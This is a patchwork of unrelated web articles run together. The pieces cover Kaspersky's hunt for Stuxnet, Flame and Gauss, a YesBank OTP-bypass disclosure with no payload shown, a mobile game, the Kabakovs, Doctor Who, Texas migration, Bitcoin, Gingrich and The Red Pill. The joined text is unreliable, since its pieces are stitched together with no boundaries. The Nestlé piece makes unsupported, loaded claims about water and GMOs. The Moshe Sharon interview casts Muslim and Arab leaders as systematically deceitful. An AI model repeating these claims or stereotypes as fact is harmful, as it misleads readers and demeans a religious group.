It soon became clear, in the code itself as well as from field reports, that Stuxnet had been specifically designed to subvert Siemens systems running centrifuges in Iran’s nuclear-enrichment program. The Kaspersky analysts then realized that financial gain had not been the objective. It was a politically motivated attack. “At that point there was no doubt that this was nation-state sponsored,” Schouwenberg says. This phenomenon caught most computer-security specialists by surprise. “We’re all engineers here; we look at code,” says Symantec’s O’Murchu. “This was the first real threat we’ve seen where it had real-world political ramifications. That was something we had to come to terms with.”
Milestones in Malware 1971 Creeper, an experimental self-replicating viral program, is written by Bob Thomas at Bolt, Beranek and Newman. It infected DEC PDP-10 computers running the Tenex operating system. Creeper gained access via the ARPANET, the predecessor of the Internet, and copied itself to the remote system, where the message “I’m the creeper, catch me if you can!” was displayed. The Reaper program was later created to delete Creeper. 1981 Elk Cloner, written for Apple II systems and created by Richard Skrenta, led to the first large-scale computer virus outbreak in history. 1986 The Brain boot sector virus (aka Pakistani flu), the first IBM PC–compatible virus, is released and causes an epidemic. It was created in Lahore, Pakistan, by 19-year-old Basit Farooq Alvi and his brother, Amjad Farooq Alvi. 1988 The Morris worm, created by Robert Tappan Morris, infects DEC VAX and Sun machines running BSD Unix connected to the Internet. It becomes the first worm to spread extensively “in the wild.” 1992 Michelangelo is hyped by computer-security executive John McAfee, who predicted that on 6 March the virus would wipe out information on millions of computers; actual damage was minimal. 2003 The SQL Slammer worm (aka Sapphire worm) attacks vulnerabilities in the Microsoft Structured Query Language Server and Microsoft SQL Server Data Engine and becomes the fastest spreading worm of all time, crashing the Internet within 15 minutes of release. 2010 The Stuxnet worm is detected. It is the first worm known to attack SCADA (supervisory control and data acquisition) systems. 2011 The Duqu worm is discovered. Unlike Stuxnet, to which it seems to be related, it was designed to gather information rather than to interfere with industrial operations. 2012 Flame is discovered and found to be used in cyberespionage in Iran and other Middle Eastern countries.
In May 2012, Kaspersky Lab received a request from the International Telecommunication Union, the United Nations agency that manages information and communication technologies, to study a piece of malware that had supposedly destroyed files from oil-company computers in Iran. By now, Schouwenberg and his peers were already on the lookout for variants of the Stuxnet virus. They knew that in September 2011, Hungarian researchers had uncovered Duqu, which had been designed to steal information about industrial control systems.
While pursuing the U.N.’s request, Kaspersky’s automated system identified another Stuxnet variant. At first, Schouwenberg and his team concluded that the system had made a mistake, because the newly discovered malware showed no obvious similarities to Stuxnet. But after diving into the code more deeply, they found traces of another file, called Flame, that were evident in the early iterations of Stuxnet. At first, Flame and Stuxnet had been considered totally independent, but now the researchers realized that Flame was actually a precursor to Stuxnet that had somehow gone undetected.
Flame was 20 megabytes in total, or some 40 times as big as Stuxnet. Security specialists realized, as Schouwenberg puts it, that “this could be nation-state again.”
To analyze Flame, Kaspersky used a technique it calls the “sinkhole.” This entailed taking control of Flame’s command-and-control server domain so that when Flame tried to communicate with the server in its home base, it actually sent information to Kaspersky’s server instead. It was difficult to determine who owned Flame’s servers. “With all the available stolen credit cards and Internet proxies,” Schouwenberg says, “it’s really quite easy for attackers to become invisible.”
While Stuxnet was meant to destroy things, Flame’s purpose was merely to spy on people. Spread over USB sticks, it could infect printers shared over the same network. Once Flame had compromised a machine, it could stealthily search for keywords on top-secret PDF files, then make and transmit a summary of the document—all without being detected.
Indeed, Flame’s designers went “to great lengths to avoid detection by security software,” says Schouwenberg. He offers an example: Flame didn’t simply transmit the information it harvested all at once to its command-and-control server, because network managers might notice that sudden outflow. “Data’s sent off in smaller chunks to avoid hogging available bandwidth for too long,” he says.
Most impressively, Flame could exchange data with any Bluetooth-enabled device. In fact, the attackers could steal information or install other malware not only within Bluetooth’s standard 30-meter range but also farther out. A “Bluetooth rifle”—a directional antenna linked to a Bluetooth-enabled computer, plans for which are readily available online—could do the job from nearly 2 kilometers away.
But the most worrisome thing about Flame was how it got onto machines in the first place: via an update to the Windows 7 operating system. A user would think she was simply downloading a legitimate patch from Microsoft, only to install Flame instead. “Flame spreading through Windows updates is more significant than Flame itself,” says Schouwenberg, who estimates that there are perhaps only 10 programmers in the world capable of engineering such behavior. “It’s a technical feat that’s nothing short of amazing, because it broke world-class encryption,” says F-Secure’s Hypponen. “You need a supercomputer and loads of scientists to do this.”
If the U.S. government was indeed behind the worm, this circumvention of Microsoft’s encryption could create some tension between the company and its largest customer, the Feds. “I’m guessing Microsoft had a phone call between Bill Gates, Steve Ballmer, and Barack Obama,” says Hypponen. “I would have liked to listen to that call.”
While reverse engineering Flame, Schouwenberg and his team fine-tuned their “similarity algorithms”—essentially, their detection code—to search for variants built on the same platform. In July, they found Gauss. Its purpose, too, was cybersurveillance.
Carried from one computer to another on a USB stick, Gauss would steal files and gather passwords, targeting Lebanese bank credentials for unknown reasons. (Experts speculate that this was either to monitor transactions or siphon money from certain accounts.) “The USB module grabs information from the system—next to the encrypted payload—and stores this information on the USB stick itself,” Schouwenberg explains. “When this USB stick is then inserted into a Gauss-infected machine, Gauss grabs the gathered data from the USB stick and sends it to the command-and-control server.”
Just as Kaspersky’s engineers were tricking Gauss into communicating with their own servers, those very servers suddenly went down, leading the engineers to think that the malware’s authors were quickly covering their tracks. Kaspersky had already gathered enough information to protect its clients against Gauss, but the moment was chilling. “We’re not sure if we did something and the hackers were onto us,” Schouwenberg says.
The implications of Flame and Stuxnet go beyond state-sponsored cyberattacks. “Regular cybercriminals look at something that Stuxnet is doing and say, that’s a great idea, let’s copy that,” Schouwenberg says.
“The takeaway is that nation-states are spending millions of dollars of development for these types of cybertools, and this is a trend that will simply increase in the future,” says Jeffrey Carr, the founder and CEO of Taia Global, a security firm in McLean, Va. Although Stuxnet may have temporarily slowed the enrichment program in Iran, it did not achieve its end goal. “Whoever spent millions of dollars on Stuxnet, Flame, Duqu, and so on—all that money is sort of wasted. That malware is now out in the public spaces and can be reverse engineered,” says Carr.
Hackers can simply reuse specific components and technology available online for their own attacks. Criminals might use cyberespionage to, say, steal customer data from a bank or simply wreak havoc as part of an elaborate prank. “There’s a lot of talk about nations trying to attack us, but we are in a situation where we are vulnerable to an army of 14-year-olds who have two weeks’ training,” says Schouwenberg.
The vulnerability is great, particularly that of industrial machines. All it takes is the right Google search terms to find a way into the systems of U.S. water utilities, for instance. “What we see is that a lot of industrial control systems are hooked up to the Internet,” says Schouwenberg, “and they don’t change the default password, so if you know the right keywords you can find these control panels.”
Companies have been slow to invest the resources required to update industrial controls. Kaspersky has found critical-infrastructure companies running 30-year-old operating systems. In Washington, politicians have been calling for laws to require such companies to maintain better security practices. One cybersecurity bill, however, was stymied in August on the grounds that it would be too costly for businesses. “To fully provide the necessary protection in our democracy, cybersecurity must be passed by the Congress,” Panetta recently said. “Without it, we are and we will be vulnerable.”
In the meantime, virus hunters at Kaspersky and elsewhere will keep up the fight. “The stakes are just getting higher and higher and higher,” Schouwenberg says. “I’m very curious to see what will happen 10, 20 years down the line. How will history look at the decisions we’ve made?”
About the Author David Kushner, a Spectrum contributing editor, has always been fascinated with tricksters and their opponents, but his article on how Kaspersky Lab detected the Stuxnet worm is the first piece he’s written about state-on-state cyberwar.I am a customer of YesBank and I hold my savings account with them. I also use the YesBank’s online banking application and I strongly feel that they need to look into security of the application of the bank. So, as a responsible client, I disclosed the vulnerability to YesBank which I recently found in their application. And I would like to thank YesBank for fixing this issue immediately.
For those who do not know about YesBank, you can read about the bank on wiki.
YES BANK is India’s fifth largest private sector Bank, founded in 2004. Yes Bank is the only Greenfield Bank licence awarded by the RBI in the last two decades. YES BANK is a “Full Service Commercial Bank”, and has steadily built a Corporate, Retail & SME Banking franchise, Financial Markets, Investment Banking, Corporate Finance, Branch Banking, Business and Transaction Banking, and Wealth Management business lines across the country.
Introduction
I regularly perform the penetration testing on applications at SecureLayer7 and recently, I stumbled on a very simple bug in the YesBank online banking application (referred as YesBank in the remaining article). In general, YesBank provides a good number of features to million of banking users. Among these features, I found that the user account password reset feature was vulnerable to one of the OWASP’s Top 3 vulnerability, i.e. Injections.
This vulnerability is caused by poor input validation of the application. Consequently, attacker can use this vulnerability to bypass the OTP process to reset the bank account password. To exploit this vulnerability, attacker requires the information of the victim bank account. This information includes, for example their ATM number, ATM Pin, etc.
Several Indian banks are issuing an advisory to their customers, asking them to change their security code (more popularly known as ATM pin) or better replace the card, by Indian media reports
Once the attacker gathers all the information required to exploit this vulnerability, he can gain the access to the Online Banking Application account by resetting original password of the user.
The Proof of Concept
To execute the payload successfully switch OFF or turn ON the flight mode of the mobile. (Banking user information is blur for security reasons)
Vulnerability Timeline:
1) Vulnerability reported on 21st of Sept, 2016 to YesBank
2) Re-tested Vulnerability on 20th Oct, 2016. Found patched.
Takeway:
I always recommend to implement the universal input validations for the commonly known vulnerabilities, especially banking application should have all types of input validations on the un-trusted user inputs.Peter Molyneux, the brain behind Fable, Theme Park, Dungeon Keeper, and more recently Godus, has released his new game in the Google Play Store. The Trail sees the player arrive at a fictional country during its settlement to explore the area, collect and trade items and eventually make their fortune.
It’s said to be something of a relaxing title, with an emphasis on exploring the painterly locations rather than quick reactions or deep strategizing. Players are lead along fixed paths through a variety of settings with the help of an in-game trail guide, interacting with a cast of vibrant characters along the way.
The art and music stood out in my short playtest with it – the expansive vistas are impressive – but I wonder if a landscape format would have been better given the emphasis on the landscapes themselves.
Developed by Molyneux’s 22Cans studio and published by Kongregate, whose other titles include Tiny Dice Dungeon and Bullet Boy, The Trail is free to play with in-app purchases. Download it from the Play Store at the link.Anticipating President Trump’s meeting on Wednesday with Palestinian Authority President Mahmoud Abbas, Gideon Israel of MIDA interviewed Professor Moshe Sharon, professor emeritus at Hebrew University and world-renowned expert on Islam, about the possibilities of President Trump striking a peace agreement in the Middle East.
Sharon’s position as a commentator on the situation is unassailable. He is fluent in Arabic and Farsi; over 50 years ago, Sharon lived with the Bedouins in Southern Israel and Israeli Arabs from the Galilee in order to understand their culture. Sharon recalled, “I had my own sheep, my own little flock, I spoke their language, I was like one of them. The most important thing was to learn their language, their habits, their nuances, and once that happens you hear not only what they say to you, but also what they don’t say, which is just as important.”
After living with the Bedouins, Sharon lived with the Arabs. He pointed out that conflating Arabs from Gaza and the West Bank is a mistake. He asserted:
Arabs from Gaza and the West Bank are from two different worlds. If you say to the West Bankers that the Gazans are coming to live with them, they will be absolutely flabbergasted; they won’t believe you. If a Gazan went to live in Nablus, he would be in a bad situation. Even more than that, if an Arab from Hebron went to live in Nablus (60 miles north of Hebron), he wouldn’t be in a good situation, because these cities are made up of families, clans, and tribes, they aren’t homogenous societies.
Sharon wrote a guide for negotiating in the Middle East. He noted that English should not be used in negotiations. He cogently stated, “I want negotiations to be in two languages: Hebrew and Arabic. Israel will speak Hebrew and they will speak Arabic. Because then you will really hear what the Arabs have to say, and what they don’t have to say. The Arabs know that what they say will be quoted in their media and therefore they will be very careful what they say and you will hear their true positions. In English, they can say anything they want, and then later when confronted with what they said they will say it wasn’t understood correctly and taken out of context.”
Sharon said that as a general rule, what Muslim/Arab leaders say in English means absolutely nothing. First, because they will always say what the English audience wants to hear, even if it has no resemblance to reality. Second, Muslims don’t view themselves as obligated to the Western audience. He added, “When Muslims speak in front of their own people, they know that when they commit to something they are expected to supply the goods. That is not so with English audiences.”
Gideon Israel writes:
But the divide is even greater. Sharon explains that when Muslim leaders speak in front of English audiences they will not only say what their Western audience wants to hear, but also use it as a basis to extract concessions from them. For example, when discussing commitment to peace with Israel or to a certain deal, the Arab/Muslim leader goes on and on about peace, their commitment to it, its importance and so forth. The Western listener believes everything that has been said and will interpret the words and declarations of the Muslim leader as to actually mean the concept and ideas that he believes in. When the European hears about "peace" from an Arab leader, he thinks about the Western concept of peace, which is very different from the Muslim’s concept of peace.
Sharon posited:
No one ever asks the Muslim speaker to explain what is it he means when he says “peace” and “tolerance,” because they think that they know what it means since there is a definition of peace. When the Muslim speaker tells the Western audience what they want to hear, he will then take advantage of the fact that the Westerner heard what he wanted to hear, as if the Muslim made a concession to him, and as a result will demand concessions from the Westerner, since the Muslim leader has given the perception that he has made concessions to the Westerner.
Sharon explained the difference between agreements in the Muslim world and agreements in the West:
In the Muslim world you only keep an agreement because you have to keep it, but the moment the agreement can be terminated, you terminate it, because you are the stronger party … In Islam, the normal situation is war until the world is conquered. However, there are times when the Muslims cannot continue the war because they are not strong enough to win or for other reasons that might cause them to lose the war. The solution for type of situation in Islamic legal terms is called Sulha. This is when the Muslims stop their battles with the non-Muslims for a limited period of time which is the Sulha. This idea has rules and it can be renewed, but it is only temporary since Muslims cannot stop Jihad forever. Jihad is a normal situation, but to stop Jihad temporarily there must be a very good reason — the Muslim needs to have an alibi. However, even if there is a Sulha, it is only valid as long as the Muslims feel they are not strong enough to fight the non-Muslims, the minute this changes, they are required to return to Jihad.
Arguing that there is no chance for a peace agreement because Israel wants peace whereas the Palestinians want to destroy Israel, Sharon opined:
If Abbas and the Palestinians wanted to make peace, they could have done it numerous times already. The Palestinians received conditions for peace from former Prime Ministers Barak and Olmert that would have led to the destruction of the State of Israel. If Abbas would have accepted then what was offered it would have been the end of the State of Israel without question, because Hamas would have taken over the West Bank, and then there would be a situation where not one airplane could take off from Ben Gurion airport due to missile and mortar threats.
Asked what Abbas wants from Trump and how Trump should conduct his meeting with Abbas, Sharon said Abbas simply wants the U.S. as an ally; Trump, he said, should say to Abbas: “What is your peace plan and show me your covenant.” The PLO charter does not recognize Israel’s existence.
Sharon advised Trump to ask Abbas to go through the articles of the covenant and understand what each means. What does Article 2 mean when it says, “Palestine with its boundaries at the time of the British Mandate is a regional indivisible unit”? He added, “What are you ready to give in real terms, not that you are going to stop to killing Jews. You want from the Israelis a list of concessions connected to territory that brings you within seven miles of Israel’s main cities, but what are you willing to give them in terms of real things?” Trump needs to tell Abbas, “Go back to Ramallah, stand up in public and give a speech saying the Palestinian people recognize Israel as a Jewish state.” In Arabic.
Sharon explained, “There is no secularism in Islam, there is no such word for secularism in Islam. That is a mistake people make
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. It didn’t matter if he liked it or didn’t like it. But he learned how to survive by making this. I learned too, even in my cooking. I learned to do it fast, so it doesn’t take much of my time, and I can think about things, I can fantasize about something different.
Beckenstein: Well in a way you’re the one who mostly deals with realities: with the museums, curators, contractors, and journalists. In Amei’s film you are always on the cell phone. It’s always going off. Is this “reality” now a natural thing for you?
Emilia: No, it’s not natural. In many cases when I deal with people, and it’s reality, I bring fantasy. One reason I’m successful is because everybody lives in reality, everybody talks about reality, but you bring fantasy into the common conversation, and people don’t expect it. They fall for it because you give them something different.
Beckenstein: Okay, so you are bringing projects to them.
Emilia: Not only projects. I can bring any kind of fantasy.
Beckenstein: Could you give me an example?
Emilia: [Laughs.] I don’t know.
Ilya: I never believed in reality and I don’t want to believe in reality. Any question about art is normal and anything about reality is not normal. All my life I’ve lived without reality, and as I get older I also want to live without reality. I see some reality on TV and shut off the TV. All my fantasies are connected to the museum or the international art world. In the disgusting Soviet world there were a few islands: Museum of Classic Art, Pushkin Museum, Hermitage, conservatory, library, and the theater, all on a very high level in the Soviet Union. Among my fantasies was the idealizing of the Western art world, and my dream, you could say, was how to be accepted into the international art world.
Beckenstein: That raises something that always comes up when people talk about your art: the difference in your acceptance in the United States, in Europe, and in Russia. In each place your art is perceived differently. Why is that, and why are you not better known in the United States?
Emilia: We did a lot of exhibitions in Europe. It’s closer to Russia, so Europeans knew more about it, and they still do. It’s much easier to accept that we do different things. In America, if the artist starts making dots he’s making dots all his life, and if he makes lines all his life he makes lines, and if he makes white paintings or black paintings, that’s until the day he dies. At the very beginning there was a fascination with the Soviet world. Nobody knew much about it. In America, the Soviet Union was the enemy. But when it was opened, everyone wanted to know the Soviet people, and people were looking at them like they came from another planet. So, the art was art from another planet. And Ilya was a storyteller of this life on another planet, so they became fascinated with this. This was a curiosity at first.
Beckenstein: And then the American audience got curious about something else?
Emilia: And then their curiosity got satisfied, and then the Chinese came, and now you will see Cubans the same way. It’s always something—Indians come, the Middle East.
Ilya and Emilia Kabakov, Jewelry set. Ring, bracelet, pendant, earrings. Produced by Msriera, Spain.
Beckenstein: How are you perceived in Russia now?
Emilia: Well I’m very sorry you couldn’t watch this movie [an interview with the Kabakovs made for Russian TV] and then see all the emails we got from this. This movie was made for the Russian, not Western, public. Someone wrote, “We understand that it’s impossible to live here […] I decide to leave Russia right now, after watching your movie.”
Beckenstein: Wow. What did you say about Russia in this interview?
Emilia: There are a lot of things I still don’t want to say. [Laughs.] What I think is very problematic. The man who interviewed us made a lot of Soviet films. And even 25 years after Perestroika, he still has a Soviet mentality. Some details of what we say are changed so it looks like we are saying something in favor of Russia. But when Ilya talks specifically, a lot of things show how restrictive, how difficult it was for a talented person to live under suppression. I went on a more personal level because he provoked me. He said, “When you answer questions you start to think, and people will think that you’re lying.” And I got really mad and I said:
You know what, I want to explain to you the difference between you as the best representative of Soviet mentality that I ever met, and let’s say, American normal people. And it is: When I think before I answer here in America—it doesn’t matter if it’s a lecture, an interview, or I just talk to people—they will understand I’m trying to say something that’s meaningful, and I’m thinking about my answer, not just the first thing that comes to my mind. I want the answer to matter. People like you don’t trust anybody—don’t trust yourself. So when I start to think, you think I’m thinking of how to lie.
Beckenstein: You both have been greatly acclaimed in Russia, where you left because you couldn’t really work. You’ve been back to Russia several times since 2008, when you had your big three-venue show. You also received the Premier Imperiale from Japan, which is the equivalent of the Nobel Prize. These represent joint honors that recognize you as a collaborative artist couple. Did you feel differently about those disparate honors, given that Russian acceptance came so late?
Ilya & Emilia Kabakov, Triptych Three Dark Paintings, (2010). Oil on canvas, 200 3/4 x 309 1/2
Emilia: I see the popularity of our work in every country. When we came to Cuba we discovered that we were kind of national heroes, and now we go to Japan and Korea, and then to China. The Chinese were persistent about our doing Monumenta again and we were tired and really didn’t want to do it. It’s very difficult.
Beckenstein: When will that be?
Emilia: June 26, and it’s a very short time. They insisted on this exhibition because they said, “You are national heroes and these Chinese artists want to talk to you.” It’s not even about the exhibition. They want to see how you live, how you work, succeed, what you do. It’s a human scale. This art touched not only artists who were curious about what we do, but touched the general population because it’s about personal feelings of many people who are trying to escape from this life. They’re afraid of government, and it stuns them on an artistic level. So that’s important. And the prizes, of course, are nice, but we also have prizes like this in Russia—they awarded both of us. And here in America, we also got national accolades together.
Wallach: Let me ask you something about your Wikipedia page. I think it was written by a Russian because it ends when you leave Russia. But one of the things they say is that your art started out as questioning Soviet utopias and has advanced to questioning all utopias, including capitalism. What do you think of that?
Emilia: I don’t really like Wikipedia because it’s full of, to put it politely, mistakes, and sometimes stupid things.
Ilya: That’s nonsense. Today’s art is enormously politicized. They’re trying to create political situations in the content. I feel very old fashioned about art, because I believe that art can’t change anything, especially politics. It’s on a different level.
Wallach: I wanted to talk a little bit about your late paintings, Ilya. I haven’t talked to you about them in years, and at that point you were very much looking back to Baroque paintings. Do you want to talk about that?
Ilya & Emilia Kabakov, The Pirates Ship/The Devils Rage (2012). Installation. Photo: Emilia Kabakov.
Ilya: Yes, I feel an enormous interest in the direction of Baroque for two reasons: I believe that the evolution of Modernism came to the end. And to break the rules is impossible, and so you have to go back to the way it was during the period of Renaissance, because the Renaissance is the departure from Middle Ages.
Wallach: In order to go forward, you have to go back.
Ilya: Yes. That’s the first reason. The second is my age. I have absolutely no interest anymore to run next to a car that is going fast. My legs are not running so fast and it’s more interesting for me to stop and start running in a different direction.
Beckenstein: Was it ever important for you to catch up with the car? Or did you always feel this way?
Emilia: No, it was important, in middle age it was very important.
Beckenstein: I noticed that in some of these paintings, these black paintings, that you’ve included portraits of Emilia. Is that something new?
Wallach: It has nothing to do with personality. With the Baroque, I wasn’t interested in the faces I depicted. I’m interested in the atmosphere, how the faces fit into the atmosphere of those paintings, and who was in the painting doesn’t matter.
Beckenstein: And Ilya, what are some of the ideas or issues that you’re going back to explore through these paintings?
Ilya: I’m interested in the combination of Russian poems and classical Baroque poems, and there are a lot of reasons for this.
Beckenstein: And what are they?
Ilya: I’d rather not talk about it now; it’s not completely formed yet. Just working. It’s not finished yet.
Wallach: Do you think through painting that your ideas will resolve themselves?
Ilya: That’s why I’m doing it.
Beckenstein: I’ve got a question for each of you. What is the question that journalists should ask and stupidly don’t?
Ilya: In the ’60s the question for American art was solved: What is American art? The Germans had the same question. The French were international because they were already the center of the world. [Laughs.] A very important question for Russian artists: How do you think Russian art can be integrated into international art? This is an incredibly hard question; Russian souls are breaking apart because they can’t solve it. There are a lot of serious questions—except for asking how’d you manage your wife—there are more serious questions.
Beckenstein: How about for you Emilia? What kinds of questions do you think are important to ask that don’t get asked often enough?
Emilia: Frankly, I don’t know. It depends on the personality and how much you trust the interviewer. It depends on the personality of the artist and what he wants to talk about, and if he wants to talk about his problems. For Ilya, the most important question is how to become international. How to break this barrier, and we talked about this with a Russian interviewer, for Russian TV. We know this is a very important question and every Russian is dying to get an answer. In many cases, they don’t know how to solve this problem, and it’s not just for Russians; it’s the same for Arabs and for Chinese. You take any artist from the periphery, different countries, and they’re dying to get into America, into international art. They don’t know how to. Very few people learn how to use their national qualities, their national language, and transform and integrate into international. Another important question: What is the criteria of museums today for art that is going to sustain into history? They just follow the trend and brand.
Wallach: One more question, Ilya. When you first came to the West you entered this travelling world of artists, right, like a sports team. And then that came to an end in 2000, and it became about nationalism and everybody was seen as belonging to their country. How do you see it now? What do you think is happening in the art world now?
Ilya & Emilia Kabakov, The Window into My Past
Ilya: I can’t judge and I can’t talk about it because I’m not a prophet. And everything changed from 2000, so I don’t really want to comment on the contemporary situation because I don’t even know what’s going on. New directors, new museums, new arts, new atmospheres, new trends, new brands. Everything has changed. Another important question that journalists never ask: Why judge the quality of the artist by the price of his work? Why are some of the big famous artists’ works very expensive, but in reality it’s empty and commercial? It’s a very big problem for young artists because they lose their compass. Where are they going? What direction? Should I go with someone who I really respect and like, but he doesn’t make money, and he’s not famous because he doesn’t make money? Which direction should I choose? And they ask us about it all the time. This is a big problem for young artists.
Beckenstein: So what do you say?
[Emilia and Ilya converse in Russian.]
Ilya: Continue, we say continue.To avoid SPOILERS and leaks of plot details, the fiftieth anniversary episode of Doctor Who will air simultaneously across the world.
The BBC made the announcement today.
“It’s always been our ambition to work with our broadcast partners so that international Doctor Who fans can enjoy the 50th-anniversary special at the same time as the UK. We’ll have more details soon about our very exciting global plans for November,” said BBC Worldwide in a statement.
The special, which will feature a reunion of at least two Doctors, will air on Saturday, November 23. The special will be broadcast in 2D and 3D.
Producer Steven Moffat revealed last week that the special will be a feature length one and that fans shouldn’t believe all the details they’ve heard confirmed or denied due to the fact that he lies.
Fans at San Diego Comic Con got to see a preview of the episode, which has upset fans in the UK.
The episode starring all the Doctors over the last half century will be featured in this mega-global event that will be shown in over 200 countries across the planet with an expected viewing audience of well over 100 million all at the same time. All the companions, such as Sarah Jane, Rose Tyler, Amy Pond et. al. will be featured as well as another look at the mysterious time traveling John Hurt.
Viewing times will be 8PM in the UK, 12 Noon in Los Angeles and 7AM on the 24th in Australia. Set your clocks accordingly depending on your timezone based on this broadcasting time information. I also recommend setting your DVR or other recording device – just in case.
Also this special event will see an added feature for UK Whovians. It will be screened in theaters across Great Britain.
Now another bit of Doctor Who news. The Sun is reporting that the actor set to replace Matt Smith as the new and 12th Doctor will be announced in August.Californians moving to Texas in record numbers CENSUS
The food? Too heavy. The traffic? Not so bad. The weather? Don't get transplanted California residents started. There are a lot of them in Texas these days.
More than 363,000 Californians moved to Texas over the past five years, helping the state grow more than twice as fast as the nation as a whole since 2000, census figures show.
California has sent more new residents to Texas than any other state in recent years. But the pipeline is tightening, part of a national slowdown in migration - from one house to another, from one county to another, and from state to state - that demographers say is a lingering sign of the recession.
California's population is still growing, up 10 percent between 2000 and 2010, thanks to a strong birth rate. But for the past decade, more people have moved out than in.
In 2010 alone, almost 70,000 Californians moved to Texas. Lloyd Potter, director of the Texas State Data Center, said there historically has been movement back and forth between the two states.
Texas' relatively strong economy - with 8.5 percent unemployment compared with 11.9 percent in California - gets most of the credit, he said.
It drew California natives Sandra Zalman and Ted Rubenstein, who moved to Houston from Los Angeles in 2009.
Zalman, 32, had completed her doctoral degree at the University of Southern California and was cobbling together an academic career as an adjunct faculty member at several institutions when she was offered a faculty job at the University of Houston.
"I guess driving was the No. 1 thing that marked my Southern California experience," she said.
Rubenstein, an architect, quit his job to accompany his wife, and eventually found work, too.
"The economy is better," she said of Texas. "Rents were lower. We noticed that immediately."Former Nestle boss Peter Brabeck-Letmathe claims that water is not a human right and should be privatized and controlled.
Brabeck-Letmathe, the now Chairman of one of the biggest corporations and the largest food product manufacturer in the world, believes corporations should own all the water on the planet, and no one should be allowed to have access to it unless they pay.
He also states that GMOs have never caused illnesses despite hundreds of independent studies showing otherwise.
So, is water a free and basic human right, or should all the water on the planet belong to major corporations and the elite?
Should the poor who cannot afford to pay these said corporations suffer from starvation due to their lack of financial wealth?
This article was originally published in 2014 and is frequently updatedYouTube Screenshot by CNET
Tyler and Cameron Winklevoss may hold one of the world's largest stashes of Bitcoins, worth an estimated $11 million or roughly 1 percent of the entire market at current trading values. So suffice it to say, the brothers have something to gain in plugging the crypto-currency's viability, especially since filing with the Securities and Exchange Commission in July to form the Winklevoss Bitcoin Trust, a kind of Bitcoin investment fund that can be traded like stock.
"The next step for Bitcoin is potentially becoming the currency of a country," Tyler Winklevoss told attendees at the 9th annual Value Investing Congress in New York on Tuesday, reports Reuters. The twins still see debt-ridden places like Greece as a haven for the digital currency.
Back in March, rumors of a Bitcoin ATM in Cyprus sprouted up frequently amid reports on the deepening Euro crisis and plummeting confidence in the struggling multinational currency. The news helped Bitcoins burst onto the public scene, offering a seemingly more protected avenue for storing wealth at the time.
But despite the massive drop-off in Bitcoin value in April -- whereupon it has yet to come anywhere near its record high of $266 per Bitcoin and currently sits at roughly $126 -- the Winklevoss twins still see the anonymous, unregulated currency as a viable way to fend off traditional debt restructuring.
They told the crowd at the Value Investing Congress that they expect to see a financial implosion in Cyprus over the course of the next two years. By using Bitcoins, the brothers reason, one could stave off the effects of the planned bail-in that forces banks' creditors to bear some of the burden by having part of the debt they are owed written off, explains The Economist.
"With Bitcoin there are no bail-ins like in Cyprus," Tyler Winklevoss said.
While there are has been fervent speculation over the stability of Bitcoins and their viability in everyday transactions in the long-run, the Winklevoss twins' presentation roused the crowd, prompting more questions from the prominent hedge fund managers in attendance than any of the previous presentations.Doing my research yesterday, I ran across an interesting video by Liberal Viewer on this subject that focused primarily on how the Republican Ministry of Propaganda, aka Fox, lies in their coverage of Newt’s record. To give you a better appreciation of what happened, here is an article, dated January 22, 1997, followed by the video, so you well be prepared to refute Republican lies on this subject.
The House voted overwhelmingly yesterday to reprimand House Speaker Newt Gingrich (R-Ga.) and order him to pay an unprecedented $300,000 penalty, the first time in the House’s 208-year history it has disciplined a speaker for ethical wrongdoing.
The ethics case and its resolution leave Gingrich with little leeway for future personal controversies, House Republicans said. Exactly one month before yesterday’s vote, Gingrich admitted that he brought discredit to the House and broke its rules by failing to ensure that financing for two projects would not violate federal tax law and by giving the House ethics committee false information.
"Newt has done some things that have embarrassed House Republicans and embarrassed the House," said Rep. Peter Hoekstra (R-Mich.). "If [the voters] see more of that, they will question our judgment."
House Democrats are likely to continue to press other ethics charges against Gingrich and the Internal Revenue Service is looking into matters related to the case that came to an end yesterday.
The 395 to 28 vote closes a tumultuous chapter that began Sept. 7, 1994, when former representative Ben Jones (D-Ga.), then running against Gingrich, filed an ethics complaint against the then-GOP whip. The complaint took on greater significance when the Republicans took control of the House for the first time in four decades, propelling Gingrich into the speaker’s chair…[emphasis added]A feminist filmmaker has sparked a worldwide backlash after suggesting that women’s rights movements risk drowning out the voices of men and undermining gender equality.
Cassie Jaye, a prominent feminist producer and director, released her film The Red Pill - a documentary exploring Men’s Right Advocates (MRAs).
The film explores MRA groups, which are often seen as being anti-women “hate” organisations, and challenges the viewers’ perspective on gender issues.
It documents Ms Jaye – a lifelong feminist - spending time with leaders and members of the movement and struggling to come to terms with their beliefs.
One the film’s website, Ms Jaye writes: “When I came across the brash online community of the Men’s Rights Movement, I was intrigued.
“My struggle to understand men’s rights issues and the turmoil I experienced in questioning my long-held feminist beliefs set the tone to have an open and honest discussion exploring opposing gender ideologies.
“My hope for this film is to educate audiences on the issues that face men and boys in our society today and analyse why the current gender discussion is not fully inclusive.”
In an interview with Sky News Australia, she said: “There are many ways that men are being disadvantaged or discriminated against in law, in court and in the cultural discussion around these issues.
“When men are victims of domestic violence they are often laughed at or scoffed at or said that they are whiners or to 'deal with it'.
MRAs: The film explores the opinion of men's rights campaigners
“But if a women ever reveals to a friend that she was hit by a male partner instantly we feel compassion and want to help and support them and go to the police.
“When women are abusing a man, and this happens at a higher rate than most people realise, we don’t have the same compassion.
"We are willing to say men are privileged therefore they don't have problems or if they do it is is the fault of patriarchy and therefore their fault.
"After my three-and-a-half years ot making The Red Pill I saw actions and things that I disagree with in feminists and ultimately it led me to believe that feminism is not the road to gender equality.
"And what I am really in support of is gender equality across the board and a part of that discussion is talking about what men are dealing with and being willing to listen to what they have to say.
"I no longer call myself a feminist but I am still an advocate of women's rights and always will be and I am adding men to the discussion."
Just need one Melbourne theater to defend free speech and screen Just need one Melbourne theater to defend free speech and screen @redpillmovie, but they're all saying they don't want to invite controversy October 26, 2016
But since the film premiered in October, posters advertising screenings have been “vandalised” – with some in Toronto covered by stickers saying: “White cry-baby misogynists meeting”.
Others label it a "sanitised front for toxic misogynist movement".
A cinema in Melbourne cancelled a screening of the film after a petition, signed by 2,000 people, called for the “misogynistic propaganda film” to be dropped.
And Ms Jaye’s PR team said that The Village Voice, a prominent And Ms Jaye’s PR team said that The Village Voice, a prominent New York magazine, refused to run a paid-for advertisement of the film following their publication of a negative review.
I was just sent these photos. Posters advertising the Toronto Premiere of I was just sent these photos. Posters advertising the Toronto Premiere of #redpillmovie are being vandalized and ripped down. pic.twitter.com/WvLGHt875C November 29, 2016
Ms Jauye said: “There was this explosion of debate about censorship and I am glad that this conversation is happening.
